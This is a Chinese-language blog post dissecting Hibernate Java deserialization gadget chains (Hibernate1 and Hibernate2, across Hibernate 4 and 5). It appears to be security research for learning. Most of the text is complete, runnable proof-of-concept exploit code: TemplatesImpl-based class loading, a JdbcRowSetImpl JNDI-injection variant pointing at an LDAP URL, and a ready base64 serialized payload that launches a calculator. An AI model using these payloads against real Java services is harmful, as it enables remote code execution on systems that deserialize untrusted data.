Java反序列化之Hibernate

本文最后更新于:3 天前

hibernate1

hibernate>=5

导入依赖

1
2
3
4
5
<dependency>
<groupId>org.hibernate</groupId>
<artifactId>hibernate-core</artifactId>
<version>5.6.15.Final</version>
</dependency>

简单分析

先看看yso给出的gadget

1
2
3
4
5
6
7
8
9
10
/* 
* org.hibernate.property.access.spi.GetterMethodImpl.get()
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
* org.hibernate.type.ComponentType.getPropertyValue(C)
* org.hibernate.type.ComponentType.getHashCode()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.internal.util.ValueHolder.getValue()
* org.hibernate.engine.spi.TypedValue.hashCode()
*/

漏洞点在GetterMethodImpl的get()方法,直接进行了一个invoke()调用,从名称的含义上来看,应该是调用一个getter

getterMethod可通过反射赋值

往上跟,来到了AbstractComponentTuplizer.getPropertyValue(),同样的,getter数组还是能够被反射赋值

继续往上跟,componentTuplizer可控,若componentTuplizer为我们上面的AbstractComponentTuplizer对象的话,即可触发利用链

继续找getPropertyValue()的调用,就在ComponentType自己的getHashCode()方法中

找getHashCode()的调用,在TypedValue的initTransients()下的initialize()中找到了一处调用,是一处匿名类中存在的调用

这个initTransients()在TypedValue的构造函数中有调用,因此在反序列化过程中,当初始化TypedValue调用其构造函数时,这样一个DeferredInitializer匿名类会被定义

继续往上找,getValue(),熟悉吗?

正是CC6中提到的hashCode()中的那个getValue()

果不其然,往上看看就是我们熟悉的hashCode()了

构造poc

在HashMap作为入口类,调用了TypedValue的hashCode()

继续调用type属性的getHashCode()方法,而type属性需要在TypedValue的构造函数中传入

按我们上面的分析,这里的Type应该是ComponentType对象

其构造函数参数都是hibernate自己封装的一些类,也都不是JavaBean,给创建ComponentType对象带来了不小的麻烦

于是乎这里引入了ReflectionFactory,能够绕过构造函数创建一个对象

https://www.cnblogs.com/strongmore/p/15470175.html

写个简单的方法方便后续调用

1
2
3
4
5
6
7
public static Object createObjWithoutConstructor(Class clazz) throws Exception{
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return constructor1.newInstance();
}

然后在TypedValue的Type的参数位置传入

1
TypedValue typedValue = new TypedValue(componentType,"11");

打断点跟进到getHashCode(),因为我们传入的是一个干干净净的ComponentType对象,自然它的各种属性都未进行赋值

因此我们需要通过反射来给它的各种必要属性赋值

从下图能看出继续调用getPropertyValue()方法,我们的x和i后续会传入componentTuplizer.getPropertyValue(component, i)中,因此需要稍微分析一下关系

给propertySpan赋值上2之后走进getPropertyValue()

来到412行的componentTuplizer.getPropertyValue( component, i )

这个componentTuplizer应该是一个AbstractComponentTuplizer对象

不过AbstractComponentTuplizer是一个抽象类,因此我们需要去寻找它的实现类

这里使用PojoComponentTuplizer

赋值

1
2
3
PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) createObjWithoutConstructor(PojoComponentTuplizer.class);

setField(componentType,"componentTuplizer",pojoComponentTuplizer);

继续调试,往下走

这里getters的第i个元素如果是GetterMethodImpl对象,component是调用恶意getter的对象就行了

什么来调用恶意getter呢?

前面的CC链和fastjson中getter的利用中,都有利用到TemplateImpl类的getOutputProperties()方法,getOutputProperties()方法又进一步调用TemplateImpl.newTransformer()方法,从而实现恶意类加载

这里对getter数组的赋值有点神奇,得获取 AbstractComponentTuplizer的class才能获得到getters

1
2
3
4
Class<?> c = AbstractComponentTuplizer.class;
Field field = c.getDeclaredField("getters");
field.setAccessible(true);
field.set(pojoComponentTuplizer,new Getter[]{new GetterMethodImpl(Object.class,"qwq", TemplatesImpl.class.getDeclaredMethod("getOutputProperties"))});

差最后一步了,只需要让owner为前面fastjson利用到的template对象即可

封装一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public static TemplatesImpl getTemplateImpl() throws Exception{
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\tmp\\Test1.class"));
Class<?> c = Class.forName("java.lang.ClassLoader");
Method m = c.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
m.setAccessible(true);
Class<?> c1 = (Class<?>) m.invoke(classLoader,bytes,0,bytes.length);


TemplatesImpl templates = new TemplatesImpl();
Class<?> templatesClass = templates.getClass();
Field _classField = templatesClass.getDeclaredField("_class");
_classField.setAccessible(true);
_classField.set(templates,new Class[]{c1});

Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"666");

Field _transletIndexField = templatesClass.getDeclaredField("_transletIndex");
_transletIndexField.setAccessible(true);
_transletIndexField.set(templates,0);

Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());

return templates;
}

然后在TypedValue构造函数处赋值一下

1
TypedValue typedValue = new TypedValue(componentType,getTemplateImpl());

然后我们运行一下,是会出现一个计算器弹窗的

但是看一眼下面的报错,是在put的时候触发gadget的经典问题,但是由于这个利用链中很多对象的赋值都不符合规范甚至未赋值,抛npe也是正常的

但是这样一来我们就没办法输出一个序列化之后的hashMap了,

那就得想办法不让他在put的时候将链子走下去

对hashMap进行一波小改

1
2
3
4
5
6
7
8
9
10
11
hashMap.put(1,1);

Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(hashMap);
for (Object entry: table){
// System.out.println(entry);
if (entry != null){
setField(entry,"key",typedValue);
}
}

这时候就可以触发反序列化,并且输出payload了

把这一段base64拿去测试,成功弹窗

1
2
3
byte[] bytes1 = Base64.getDecoder().decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IAI29yZy5oaWJlcm5hdGUuZW5naW5lLnNwaS5UeXBlZFZhbHVlh4gUshmh5zwCAAJMAAR0eXBldAAZTG9yZy9oaWJlcm5hdGUvdHlwZS9UeXBlO0wABXZhbHVldAASTGphdmEvbGFuZy9PYmplY3Q7eHBzcgAgb3JnLmhpYmVybmF0ZS50eXBlLkNvbXBvbmVudFR5cGUt7tkGtOJxCQIADloAHGNyZWF0ZUVtcHR5Q29tcG9zaXRlc0VuYWJsZWRaABJoYXNOb3ROdWxsUHJvcGVydHlaAAVpc0tleUkADHByb3BlcnR5U3BhbkwAD2NhbkRvRXh0cmFjdGlvbnQAE0xqYXZhL2xhbmcvQm9vbGVhbjtbAAdjYXNjYWRldAAoW0xvcmcvaGliZXJuYXRlL2VuZ2luZS9zcGkvQ2FzY2FkZVN0eWxlO0wAEWNvbXBvbmVudFR1cGxpemVydAAxTG9yZy9oaWJlcm5hdGUvdHVwbGUvY29tcG9uZW50L0NvbXBvbmVudFR1cGxpemVyO0wACmVudGl0eU1vZGV0ABpMb3JnL2hpYmVybmF0ZS9FbnRpdHlNb2RlO1sAC2pvaW5lZEZldGNodAAaW0xvcmcvaGliZXJuYXRlL0ZldGNoTW9kZTtbAA1wcm9wZXJ0eU5hbWVzdAATW0xqYXZhL2xhbmcvU3RyaW5nO1sAE3Byb3BlcnR5TnVsbGFiaWxpdHl0AAJbWlsADXByb3BlcnR5VHlwZXN0ABpbTG9yZy9oaWJlcm5hdGUvdHlwZS9UeXBlO1sAIXByb3BlcnR5VmFsdWVHZW5lcmF0aW9uU3RyYXRlZ2llc3QAJltMb3JnL2hpYmVybmF0ZS90dXBsZS9WYWx1ZUdlbmVyYXRpb247TAAJdHlwZVNjb3BldAAqTG9yZy9oaWJlcm5hdGUvdHlwZS9UeXBlRmFjdG9yeSRUeXBlU2NvcGU7eHIAH29yZy5oaWJlcm5hdGUudHlwZS5BYnN0cmFjdFR5cGXJFpSxstQ41AIAAHhwAAAAAAAAAnBwc3IAM29yZy5oaWJlcm5hdGUudHVwbGUuY29tcG9uZW50LlBvam9Db21wb25lbnRUdXBsaXplcsBwOcjTg59YAgAETAAOY29tcG9uZW50Q2xhc3N0ABFMamF2YS9sYW5nL0NsYXNzO0wACW9wdGltaXplcnQAMExvcmcvaGliZXJuYXRlL2J5dGVjb2RlL3NwaS9SZWZsZWN0aW9uT3B0aW1pemVyO0wADHBhcmVudEdldHRlcnQAKkxvcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvR2V0dGVyO0wADHBhcmVudFNldHRlcnQAKkxvcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvU2V0dGVyO3hyADdvcmcuaGliZXJuYXRlLnR1cGxlLmNvbXBvbmVudC5BYnN0cmFjdENvbXBvbmVudFR1cGxpemVy8vZxKVYnaN0CAAVaABJoYXNDdXN0b21BY2Nlc3NvcnNJAAxwcm9wZXJ0eVNwYW5bAAdnZXR0ZXJzdAArW0xvcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvR2V0dGVyO0wADGluc3RhbnRpYXRvcnQAIkxvcmcvaGliZXJuYXRlL3R1cGxlL0luc3RhbnRpYXRvcjtbAAdzZXR0ZXJzdAArW0xvcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvU2V0dGVyO3hwAAAAAAB1cgArW0xvcmcuaGliZXJuYXRlLnByb3BlcnR5LmFjY2Vzcy5zcGkuR2V0dGVyOyaF+ANJPbfPAgAAeHAAAAABc3IAPW9yZy5oaWJlcm5hdGUucHJvcGVydHkuYWNjZXNzLnNwaS5HZXR0ZXJNZXRob2RJbXBsJFNlcmlhbEZvcm2sW7ZWyd0bWAIABEwADmNvbnRhaW5lckNsYXNzcQB+ABRMAA5kZWNsYXJpbmdDbGFzc3EAfgAUTAAKbWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wADHByb3BlcnR5TmFtZXEAfgAgeHB2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB2cgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+ACBMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cHQAE2dldE91dHB1dFByb3BlcnRpZXN0AANxd3FwcHBwcHBwcHBwcHBwc3EAfgAkAAAAAAAAAABwdXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAABdnIABFRlc3QAAAAAAAAAAAAAAHhwdAADNjY2cHcBAHhzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXg=");

unser(bytes1);

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.property.access.spi.Getter;
import org.hibernate.property.access.spi.GetterMethodImpl;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.ComponentType;
import sun.reflect.ReflectionFactory;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

public class Hibernate1 {

/*
* org.hibernate.property.access.spi.GetterMethodImpl.get()
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
* org.hibernate.type.ComponentType.getPropertyValue(C)
* org.hibernate.type.ComponentType.getHashCode()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.internal.util.ValueHolder.getValue()
* org.hibernate.engine.spi.TypedValue.hashCode()
*/
public static void main(String[] args) throws Exception{
// BasicPropertyAccessor.BasicGetter basicGetter = BasicPropertyAccessor.BasicGetter;

HashMap<Object,Object> hashMap = new HashMap<>();

ComponentType componentType = (ComponentType) createObjWithoutConstructor(ComponentType.class);

setField(componentType,"propertySpan",2);

TypedValue typedValue = new TypedValue(componentType,getTemplateImpl());

PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) createObjWithoutConstructor(PojoComponentTuplizer.class);

Class<?> c = AbstractComponentTuplizer.class;
Field field = c.getDeclaredField("getters");
field.setAccessible(true);
field.set(pojoComponentTuplizer,new Getter[]{new GetterMethodImpl(Object.class,"qwq", TemplatesImpl.class.getDeclaredMethod("getOutputProperties"))});

setField(componentType,"componentTuplizer",pojoComponentTuplizer);


hashMap.put(1,1);

Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(hashMap);
for (Object entry: table){
// System.out.println(entry);
if (entry != null){
setField(entry,"key",typedValue);
}
}

byte[] bytes = ser(hashMap);

System.out.println(Base64.getEncoder().encodeToString(bytes));

unser(bytes);
}

public static TemplatesImpl getTemplateImpl() throws Exception{
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\tmp\\Test1.class"));
Class<?> c = Class.forName("java.lang.ClassLoader");
Method m = c.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
m.setAccessible(true);
Class<?> c1 = (Class<?>) m.invoke(classLoader,bytes,0,bytes.length);


TemplatesImpl templates = new TemplatesImpl();
Class<?> templatesClass = templates.getClass();
Field _classField = templatesClass.getDeclaredField("_class");
_classField.setAccessible(true);
_classField.set(templates,new Class[]{c1});

Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"666");

Field _transletIndexField = templatesClass.getDeclaredField("_transletIndex");
_transletIndexField.setAccessible(true);
_transletIndexField.set(templates,0);

Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());

return templates;
}

public static void setField(Object object,String fieldName,Object value) throws Exception{
Class<?> c = object.getClass();
Field field = c.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}

public static Object createObjWithoutConstructor(Class clazz) throws Exception{
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return constructor1.newInstance();
}

public static byte[] ser(Object o) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(o);
return byteArrayOutputStream.toByteArray();
}

public static Object unser(byte[] bytes) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
return objectInputStream.readObject();
}
}

hibernate<5

依赖导入

1
2
3
4
5
<dependency>
<groupId>org.hibernate</groupId>
<artifactId>hibernate-core</artifactId>
<version>4.3.11.Final</version>
</dependency>

把>=5的链子丢进去,直接发现一处红的:

在4的时候Getter和GetterMethodImpl不存在,因此就得找一个能够平替的

在小于5.0的hiberate下,存在BasicPropertyAccessor.BasicGetter.get()

和前面的GetterMethodImpl中的get()方法几乎一模一样

但是这里的method是transient的,那么

在反序列化过程中这个method的赋值逻辑是什么样的呢?

BasicPropertyAccessor.BasicGetter中,存在一个熟悉的面孔:

readResolve()方法(没印象的可以看看JavaDeserializeLab的lab5)

在反序列化过程中会调用到它,并接着调用其中的createGetter()方法

看看这个过程做了什么

跟进createGetter()

继续跟进getGetterOrNull()

可以看到这里return的结果正是一个携带method的BasicGetter对象,

method的获取在getterMethod()方法中,

继续跟进

method实际上是从theClass中获取到所有和propertyName同名的getter(get开头或者is开头)

因此这里实际上利用起来大差不差,给BasicGetter的clazz对象赋值为包含漏洞getter的漏洞类的class,propertyName属性为那个getter对应的属性名

若我们要利用TemplateImpl的getOutputProperties()方法,那么clazz就得是TemplateImpl的class,propertyName就得是OutputProperties

回到它的构造函数,发现是私有的

问题不大,我们有强大的反射)

创建一个BasicGetter(Method的赋值随意,重点在于OutputProperties)

1
2
3
4
Class basicGetterClass = BasicPropertyAccessor.BasicGetter.class;
Constructor basicGetterConstructor = basicGetterClass.getDeclaredConstructor(new Class[]{Class.class,Method.class,String.class});
basicGetterConstructor.setAccessible(true);
BasicPropertyAccessor.BasicGetter basicGetter = (BasicPropertyAccessor.BasicGetter) basicGetterConstructor.newInstance(TemplatesImpl.class,TemplatesImpl.class.getDeclaredMethod("getOutputProperties"),"OutputProperties");

稍微改一下getters数组

1
2
3
4
Class<?> c = AbstractComponentTuplizer.class;
Field field = c.getDeclaredField("getters");
field.setAccessible(true);
field.set(pojoComponentTuplizer,new Getter[]{basicGetter});

成功触发poc

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.property.BasicPropertyAccessor;
import org.hibernate.property.Getter;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.ComponentType;
import sun.reflect.ReflectionFactory;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

public class Hibernate1 {

public static void main(String[] args) throws Exception{

HashMap<Object,Object> hashMap = new HashMap<>();

ComponentType componentType = (ComponentType) createObjWithoutConstructor(ComponentType.class);

setField(componentType,"propertySpan",2);

TypedValue typedValue = new TypedValue(componentType,getTemplateImpl());

PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) createObjWithoutConstructor(PojoComponentTuplizer.class);

Class basicGetterClass = BasicPropertyAccessor.BasicGetter.class;
Constructor basicGetterConstructor = basicGetterClass.getDeclaredConstructor(new Class[]{Class.class,Method.class,String.class});
basicGetterConstructor.setAccessible(true);
BasicPropertyAccessor.BasicGetter basicGetter = (BasicPropertyAccessor.BasicGetter) basicGetterConstructor.newInstance(TemplatesImpl.class,TemplatesImpl.class.getDeclaredMethod("getOutputProperties"),"OutputProperties");

Class<?> c = AbstractComponentTuplizer.class;
Field field = c.getDeclaredField("getters");
field.setAccessible(true);
field.set(pojoComponentTuplizer,new Getter[]{basicGetter});

setField(componentType,"componentTuplizer",pojoComponentTuplizer);


hashMap.put(1,1);

Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(hashMap);
for (Object entry: table){
// System.out.println(entry);
if (entry != null){
setField(entry,"key",typedValue);
}
}

byte[] bytes = ser(hashMap);

System.out.println(Base64.getEncoder().encodeToString(bytes));


unser(bytes);
}

public static TemplatesImpl getTemplateImpl() throws Exception{
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\tmp\\Test1.class"));
Class<?> c = Class.forName("java.lang.ClassLoader");
Method m = c.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
m.setAccessible(true);
Class<?> c1 = (Class<?>) m.invoke(classLoader,bytes,0,bytes.length);


TemplatesImpl templates = new TemplatesImpl();
Class<?> templatesClass = templates.getClass();
Field _classField = templatesClass.getDeclaredField("_class");
_classField.setAccessible(true);
_classField.set(templates,new Class[]{c1});

Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"666");

Field _transletIndexField = templatesClass.getDeclaredField("_transletIndex");
_transletIndexField.setAccessible(true);
_transletIndexField.set(templates,0);

Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());

return templates;
}

public static void setField(Object object,String fieldName,Object value) throws Exception{
Class<?> c = object.getClass();
Field field = c.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}

public static Object createObjWithoutConstructor(Class clazz) throws Exception{
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return constructor1.newInstance();
}

public static byte[] ser(Object o) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(o);
return byteArrayOutputStream.toByteArray();
}

public static Object unser(byte[] bytes) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
return objectInputStream.readObject();
}
}

hibernate2

实际上和hibernate1相比就只是利用的漏洞getter的不同,使用的是jndi注入

就得引入前面fastjson提到的JdbcRowSetImpl了

当时受限于fastjson调用getter较为严格的条件,那一处getter链在当时没能利用上,但是这一次的hiberate链中可以实现任意getter调用,

冲!

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.rowset.JdbcRowSetImpl;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.property.BasicPropertyAccessor;
import org.hibernate.property.Getter;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.ComponentType;
import sun.reflect.ReflectionFactory;

import javax.sql.rowset.BaseRowSet;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

public class Hibernate1 {

public static void main(String[] args) throws Exception{

HashMap<Object,Object> hashMap = new HashMap<>();

ComponentType componentType = (ComponentType) createObjWithoutConstructor(ComponentType.class);

setField(componentType,"propertySpan",2);


PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) createObjWithoutConstructor(PojoComponentTuplizer.class);



/////////重点在这一部分//////////
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();

Class c0 = BaseRowSet.class;
Field dataSourceField = c0.getDeclaredField("dataSource");
dataSourceField.setAccessible(true);
dataSourceField.set(jdbcRowSet,"ldap://127.0.0.1:10389/cn=qwq,dc=example,dc=com");

Class basicGetterClass = BasicPropertyAccessor.BasicGetter.class;
Constructor basicGetterConstructor = basicGetterClass.getDeclaredConstructor(new Class[]{Class.class,Method.class,String.class});
basicGetterConstructor.setAccessible(true);
BasicPropertyAccessor.BasicGetter basicGetter = (BasicPropertyAccessor.BasicGetter) basicGetterConstructor.newInstance(JdbcRowSetImpl.class,null,"databaseMetaData");

TypedValue typedValue = new TypedValue(componentType,jdbcRowSet);

/////////重点在这一部分//////////



Class<?> c = AbstractComponentTuplizer.class;
Field field = c.getDeclaredField("getters");
field.setAccessible(true);
field.set(pojoComponentTuplizer,new Getter[]{basicGetter});

setField(componentType,"componentTuplizer",pojoComponentTuplizer);


hashMap.put(1,1);

Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(hashMap);
for (Object entry: table){
// System.out.println(entry);
if (entry != null){
setField(entry,"key",typedValue);
}
}

byte[] bytes = ser(hashMap);

System.out.println(Base64.getEncoder().encodeToString(bytes));

unser(bytes);
}

public static TemplatesImpl getTemplateImpl() throws Exception{
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\tmp\\Test1.class"));
Class<?> c = Class.forName("java.lang.ClassLoader");
Method m = c.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
m.setAccessible(true);
Class<?> c1 = (Class<?>) m.invoke(classLoader,bytes,0,bytes.length);


TemplatesImpl templates = new TemplatesImpl();
Class<?> templatesClass = templates.getClass();
Field _classField = templatesClass.getDeclaredField("_class");
_classField.setAccessible(true);
_classField.set(templates,new Class[]{c1});

Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"666");

Field _transletIndexField = templatesClass.getDeclaredField("_transletIndex");
_transletIndexField.setAccessible(true);
_transletIndexField.set(templates,0);

Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());

return templates;
}

public static void setField(Object object,String fieldName,Object value) throws Exception{
Class<?> c = object.getClass();
Field field = c.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}

public static Object createObjWithoutConstructor(Class clazz) throws Exception{
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return constructor1.newInstance();
}

public static byte[] ser(Object o) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(o);
return byteArrayOutputStream.toByteArray();
}

public static Object unser(byte[] bytes) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
return objectInputStream.readObject();
}
}